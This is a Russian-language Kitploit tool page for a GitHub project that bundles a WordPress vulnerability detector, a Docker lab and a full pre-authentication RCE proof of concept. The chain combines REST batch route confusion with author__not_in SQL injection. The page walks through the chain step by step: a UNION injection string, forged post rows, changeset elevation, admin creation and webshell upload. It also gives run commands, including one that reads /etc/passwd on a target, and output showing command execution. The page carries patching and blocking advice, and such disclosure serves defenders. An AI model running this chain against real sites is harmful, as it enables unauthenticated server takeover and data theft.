Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
wp2shell-lab — Неразрушающий детектор + Docker-лаборатория для wp2shell (CVE-2026-63030 REST /batch/v1 путаница маршрутов + CVE-2026-60137 author__not_in SQLi) в ядре WordPress 6.9.0-6.9.4 / 7.0.0-7.0.1 | Kitploit
Инструменты/GitHubGitHub/dinosn/wp2shell-lab
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubdinosn/wp2shell-lab

wp2shell-lab

Неразрушающий детектор + Docker-лаборатория для wp2shell (CVE-2026-63030 REST /batch/v1 путаница маршрутов + CVE-2026-60137 author__not_in SQLi) в ядре WordPress 6.9.0-6.9.4 / 7.0.0-7.0.1

Репозиторий
541729 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

wp2shell: лаборатория и детектор + PoC pre-auth RCE

Автономная лаборатория, неразрушающий детектор и полный proof-of-concept pre-auth RCE для wp2shell — цепочки уязвимостей без предварительной аутентификации в ядре WordPress:

CVEКомпонентКлассCVSS
CVE-2026-60137WP_Query::author__not_inSQL-инъекция (CWE-89)9.1
CVE-2026-63030путаница маршрутов REST /batch/v1конфликт интерпретации (CWE-436) → приводит к RCE7.5

Затронуты: ядро WordPress 6.9.0–6.9.4 и 7.0.0–7.0.1 (один лишь SQLi-приёмник также затрагивает 6.8.0–6.8.5). Исправлено в 6.8.6 / 6.9.5 / 7.0.2. Сообщено Adam Kues (Assetnote / Searchlight Cyber); SQLi также приписывается TF1T, dtro, haongo. Цепочка RCE на стандартной конфигурации (oEmbed → changeset → re-entry) — Mustafa Can İPEKÇİ (nukedx).

Сначала обновитесь. Для этой уязвимости WordPress выпустил принудительные автоматические обновления. Этот репозиторий существует, чтобы помочь вам проверить, что ваша инфраструктура пропатчена, и понять ошибку — а не для атак на кого-либо. См. SECURITY.md.


Что это на самом деле

Всегда истинный примитив — это неаутентифицированная SQL-инъекция без плагинов в стандартном ядре, дающая полное чтение базы данных (хеши паролей администраторов, всё содержимое wp_options/wp_users). Уже одно это заслуживает 9.1 и немедленного патча.

RCE реален и работает на стандартном WordPress — не требуется привилегия FILE, постоянный объектный кэш, плагины или ошибки конфигурации. Цепочка использует SQLi только на чтение как примитив подделки строк (UNION ALL SELECT внедряет поддельные строки wp_posts), а затем задействует собственный конвейер рендеринга контента WordPress, чтобы превратить эти поддельные строки в реальные записи в БД через кэширование oEmbed. Далее повышение через changeset и реентерабельный parse_request выполняются в контексте администратора, создавая новую учётную запись администратора — всё из одного неаутентифицированного HTTP-запроса.

Полная цепочка (без учётных данных, единственная точка входа POST /?rest_route=/batch/v1)

root@kitploit:~
1. Route confusion    — double-nested batch desyncs $matches/$validation so a GET
                        /wp/v2/widgets runs under posts::get_items() (public), reaching
                        WP_Query's author__not_in with attacker-controlled input.

2. Row forgery        — author__not_in is string-concatenated into SQL;
                        "1) AND 1=0 UNION ALL SELECT <23 cols> -- -" injects fake
                        WP_Post rows. per_page=-1 bypasses split_the_query (WP_Query
                        treats -1 as "no limit" → empty $limits → split=false →
                        full SELECT wp_posts.* → UNION columns match).

3. oEmbed write       — forged posts carry [embed]<self-url>[/embed]; rendering via
                        context=view makes WordPress cache real oembed_cache posts in
                        the DB (turns read-only SQLi into writes with predictable IDs).

4. Elevation+re-entry — a forged customize_changeset (user_id = real admin) plus a
                        forged post_type=request row with parent loops drives an
                        in-process re-entrant parse_request in admin context.

5. Admin creation     — POST /wp/v2/users in the same batch passes
                        current_user_can('create_users') → new administrator.

6. RCE                — login → plugin webshell upload → command execution → cleanup.

Ключевые механизмы (почему цепочка держится)

Новизна — в композиции, а не в какой-то одной ошибке: сами по себе эти механизмы — легитимное поведение WordPress. Их именование (по разбору Adam Kues) делает граф поддельных строк в exploit() читаемым и подсвечивает, что нужно повторно аудировать после закрытия точек входа:

  • Согласование кэша и БД — когда закэшированная в памяти запись расходится со своей строкой в БД, WordPress согласует их через wp_update_post() и предпочитает post_type/post_status из памяти, позволяя строке oembed_cache быть переопределённой в настоящий post/customize_changeset.
  • Обнаружение циклов с сохранением post_content — фильтр wp_insert_post_parent проходит по цепочке родителей; при обнаружении цикла он вызывает второй wp_update_post(), который исправляет родителя не перезаписывая post_content. Это критическое звено: оно позволяет вредоносному post_content поддельного changeset выжить. (Именно поэтому поддельные строки используют самозамыкающиеся/взаимные циклы родителей.)
  • Повторный запуск хуков через parse_request — публикация записи запускает ; поддельная строка с / запускает , заново выполняя batch-конвейер, пока всё ещё действует предполагаемая личность администратора из changeset ().

Эти механизмы остаются в пропатченном WordPress — закрыты были только две точки входа (batch-десинхронизация + обход скаляра author__not_in). Любой новый примитив, подделывающий кэш записей в памяти или записывающий строку oembed_cache, снова активирует ту же самую завершающую часть захвата администратора.

Примитивы записи во время рендеринга

Все четыре примитива записи во время рендеринга подтверждены вживую на 7.0.1 — каждый подделан как неаутентифицированная запись, отрендерен через batch-путаницу, а итоговая запись в БД проверена слепой SQLi:

Что доказывает каждый результат:

  • oembed — эталонный примитив: свежая строка wp_posts с предсказанным злоумышленником slug (md5(url+serialize(attrs))) и реальным автоинкрементным ID. Это единственный примитив, дающий множественные, по требованию, названные злоумышленником строки записей — именно поэтому цепочка RCE использует его для подкрепления графа поддельных changeset/request.
  • rss — самый сильный общий примитив записи: ключ _site_transient_feed_<md5(url)> полностью предсказуем, а хранимые байты — тело фида, которое отдаёт URL злоумышленника, т.е. злоумышленник контролирует и ключ, и значение. Это запись в wp_options (без ID записи), так что это примитив отравления опций, а не готовая замена для подкрепления changeset.
  • navigation — единственный другой путь без аутентификации, где «рендер создаёт реальную строку записи». Он одноразовый (пропускается, если существует любой опубликованный wp_navigation) с фиксированным slug, поэтому может подкрепить максимум один поддельный объект — в отличие от N строк у oEmbed.
  • calendar — подтверждает, что путь рендер→update_option срабатывает без аутентификации, но имя опции и её значение '1'/'0' фиксированы/выводятся из БД, так что это демонстрация «запись происходит» без контроля злоумышленника над ключом или значением.

Более ранние условные цепочки (заменены указанной выше цепочкой на стандартной конфигурации)

  • Веб-шелл INTO OUTFILE: требует, чтобы пользователь БД WordPress имел глобальную привилегию FILE + доступный через веб secure_file_priv + каталог выгрузки, читаемый веб-пользователем. На обычных/управляемых хостингах ни одно из этих условий не выполняется.
  • SimplePie → WP_HTML_Token POP: call_user_func('wp_insert_user', user_data_array) — требует gc_enabled()=false + валидный HMAC (wp_hash точных сериализованных байт, нужны секреты из wp-config.php).

Быстрый старт

Требования: Docker + Docker Compose v2, Python 3.8+ (только стандартная библиотека), make, curl.

root@kitploit:~
make up          # WordPress 6.9.4 (vulnerable) + MySQL 8.0, auto-installed on :8093
make check       # -> [VULNERABLE] http://localhost:8093 (WordPress 6.9.4 ...)
make proof       # -> also reads @@version and current_user() as read-only evidence
make exploit     # -> full pre-auth RCE: creates admin, deploys webshell, runs "id"
make patched     # rebuild on the fixed image and re-check -> [not vulnerable]
make down        # tear down (removes volumes)

Смените порт: WP_PORT=8100 make up.

Примечание об исправленном образе: официальные Docker-образы wordpress отстают от релизов безопасности ядра WordPress на день-два. Если make patched сообщает, что wordpress:7.0.2 ещё нет на Docker Hub, повторите попытку позже или укажите любой опубликованный исправленный тег: make patched WP_PATCHED_TAG=6.9.5 (или 7.0.2 / 6.8.6). Любой WordPress ≥ 6.9.5 / 7.0.2 / 6.8.6 возвращает not vulnerable.

Ожидаемый вывод

root@kitploit:~
$ make check
[VULNERABLE] http://localhost:8093  (WordPress 6.9.4, affected-full-chain)  [active=fired | method=boolean rows(true/false)=5/0 via x-wp-total | delivery=json | slot=users]
        confirmed: unauthenticated SQL injection
        rce: reachable on stock config; additionally requires no persistent object cache (not verified remotely -- the RCE PoC preflights it before writing)

$ make exploit
[*] seeding oEmbed caches ...
[*] extracting table prefix ...
[+] table prefix: wp_
[*] extracting admin user ID ...
[+] admin ID: 1
[*] recovering oEmbed cache post IDs ...
[+] cache IDs: [5, 6, 7]
[*] forging changeset + re-entry, creating administrator ...
[+] administrator created: w2s_...:W2s!...  ([email protected])
[*] logging in, deploying webshell, executing command ...
[+] vulnerable (unauth SQLi confirmed: method=boolean slot=users delivery=json)
[+] RCE output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ make patched
[not vulnerable] http://localhost:8093  (WordPress 7.0.2, outside-affected-range)  [active=negative | method=time fast=0.01s slow=0.01s delta=-0.00s | delivery=json | slot=users]

Инструмент (wp2shell_check.py)

Только стандартная библиотека, без зависимостей.

Обнаружение (по умолчанию)

Неразрушающий, с автоматическим резервным вариантом по трём независимым осям, чтобы один заблокированный путь никогда не читался как ложноотрицательный результат:

  • oracle — сначала быстрый булев дифференциал по числу строк (переключите внедрённый WHERE true/false и наблюдайте, как схлопывается X-WP-Total в сбитом запросе записей, без SLEEP); если не срабатывает — временной дифференциал SLEEP. SLEEP обёрнут в производную таблицу — (SELECT 1 FROM (SELECT SLEEP(n))x) — поэтому вычисляется один раз независимо от числа строк (голый SLEEP() оптимизируется на некоторых управляемых хостах и дал бы ложноотрицательный результат).
  • delivery — сначала JSON POST на batch-маршрут; если периметр блокирует /wp-json — multipart-форма rest_route=/batch/v1 на POST / (точная форма запроса оператора).
  • slot — смещённый запрос сначала проверяется на /wp/v2/users; если эта конечная точка отключена для неаутентифицированных вызывающих (плагины Disable-REST-API, ужесточение защиты от перечисления пользователей), происходит откат к универсальной конечной точке элемента .

Ничто из этого не читает данные и не меняет состояние. --proof читает только @@version и current_user() через ограниченное слепое чтение. Он не извлекает чувствительные данные и не пытается выполнять код.

root@kitploit:~
python3 wp2shell_check.py https://your-site.example --authorized
python3 wp2shell_check.py -f assets.txt --authorized -t 20 --json > results.json
python3 wp2shell_check.py http://127.0.0.1:8093 --proxy http://127.0.0.1:8080

Pre-auth RCE (-c COMMAND)

Полная цепочка эксплуатации: обнаружение → предпроверка подделки строк → посев oEmbed-кэша → ин-банд UNION-извлечение → повышение через changeset → реентерабельный parse_request → создание администратора → вход → веб-шелл-плагин → выполнение → самоочистка. Работает на стандартном WordPress — не требуется привилегия FILE, постоянный объектный кэш или плагины.

root@kitploit:~
python3 wp2shell_check.py http://127.0.0.1:8093 -c "id"
python3 wp2shell_check.py https://target.example -c "cat /etc/passwd" --authorized
  • Предпроверка перед любой записью. Одиночное ин-банд UNION-эхо подтверждает, что обход split_the_query через per_page=-1 работает на этой цели до того, как цепочка что-либо запишет. Постоянный объектный кэш (Redis/Memcached — часто встречается на управляемых хостингах) форсирует split_the_query и блокирует подделку строк: инструмент сообщает об этом точно (SQLi всё ещё присутствует; заблокирован только RCE) и не оставляет ни одной осиротевшей строки oembed_cache.
  • Ин-банд извлечение. Префикс таблиц, ID администратора и ID посеянных кэшей читаются напрямую из ответа сбитого запроса записей (по одному запросу на каждый) вместо побуквенной слепой лестницы SLEEP — примерно в 50– 100× меньше запросов и значительно меньше воздействия WAF/ограничений частоты. Слепой оракул остаётся автоматическим резервным вариантом, если ин-банд чтение когда-либо будет отфильтровано.
  • Плагин веб-шелла самоуничтожается после одного использования (деактивируется и удаляет собственный файл).

Опции

-c CMD (pre-auth RCE), --proof (доказательство только на чтение), -f FILE (пакетное сканирование), -t/--threads N (параллельные воркеры, по умолчанию 10), --method auto|boolean|time, --delivery auto|json|multipart (алиас --multipart), --slot auto|users|posts-item, --sleep N (внедряемая задержка, по умолчанию 4), --rounds N (медиана по N проб), --route auto|rest-route|wp-json, --timeout N, --proxy URL, --json, .

Значения статуса

  • vulnerable — активно подтверждено через инъекцию (batch-путаница, 6.9.0–7.0.1). Активный оракул доказывает именно неаутентифицированную SQL-инъекцию; pre-auth RCE достижим из неё на стандартной установке, но дополнительно требует отсутствия постоянного объектного кэша (предусловие, которое невозможно проверить удалённо — PoC RCE проверяет его перед записью). Вывод делает это разделение явным (строки confirmed: / rce:).
  • affected_version — определённая по отпечатку версия находится в затронутом диапазоне, но активная проверка не сработала (6.8.0–6.8.5 содержит SQLi-приёмник, но не путаницу; либо WAF заблокировал пробу).
  • not_vulnerable — активная проверка отрицательна, версия вне затронутых диапазонов.

Коды выхода: 0 = требует внимания, 1 = не уязвим, 2 = ошибка.

Устойчивость: следует за редиректами, сохраняя тело POST, канонизирует хост один раз в начале и игнорирует ошибки TLS (curl -k).


Устранение

  • Пропатчьте WordPress до 6.9.5 / 7.0.2 (или 6.8.6 на ветке 6.8).
  • Если нет возможности пропатчить немедленно, заблокируйте на периметре оба маршрута /wp-json/batch/v1 и ?rest_route=/batch/v1 — правило только на «красивый» путь оставляет открытым маршрут через query-строку — либо требуйте аутентификацию на batch-маршруте через фильтр rest_pre_dispatch.

Авторы

  • Путаница маршрутов + SQLi: Adam Kues (Assetnote / Searchlight Cyber)
  • Цепочка RCE на стандартной конфигурации (oEmbed → changeset → re-entry): Mustafa Can İPEKÇİ (nukedx)
  • SQLi (CVE-2026-60137): также приписывается TF1T, dtro, haongo

Ссылки

  • Searchlight Cyber / Assetnote — https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/
  • gist с RCE от mcipekci — https://gist.github.com/mcipekci/2b5027f965153d8058bbcfd63006ef79
  • Релиз WordPress 7.0.2 — https://wordpress.org/news/2026/07/wordpress-7-0-2-release/
  • Уведомления: GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjf

Лицензия

MIT — см. LICENSE.

Скачать инструмент
do_action("{$status}_{$type}")
post_status=parse
post_type=request
parse_request
wp_set_current_user
ПримитивТриггерная разметкаПриёмникПрогнозируемый идентификаторПроверено
oembed[embed]<url>[/embed]строка wp_posts (oembed_cache)post_name = md5(url+attrs)создан ID записи
rsswp:rss {feedURL}сайт-транзиент wp_options_site_transient_feed_<md5(url)>option_id, закэшировано 5192 Б
navigationwp:navigationстрока wp_posts (wp_navigation)post_name = 'navigation' (фиксированный)ID создан, slug navigation
calendarwp:calendarwp_optionswp_calendar_block_has_published_postsoption_id, значение '1'
/wp/v2/posts/<id>
--authorized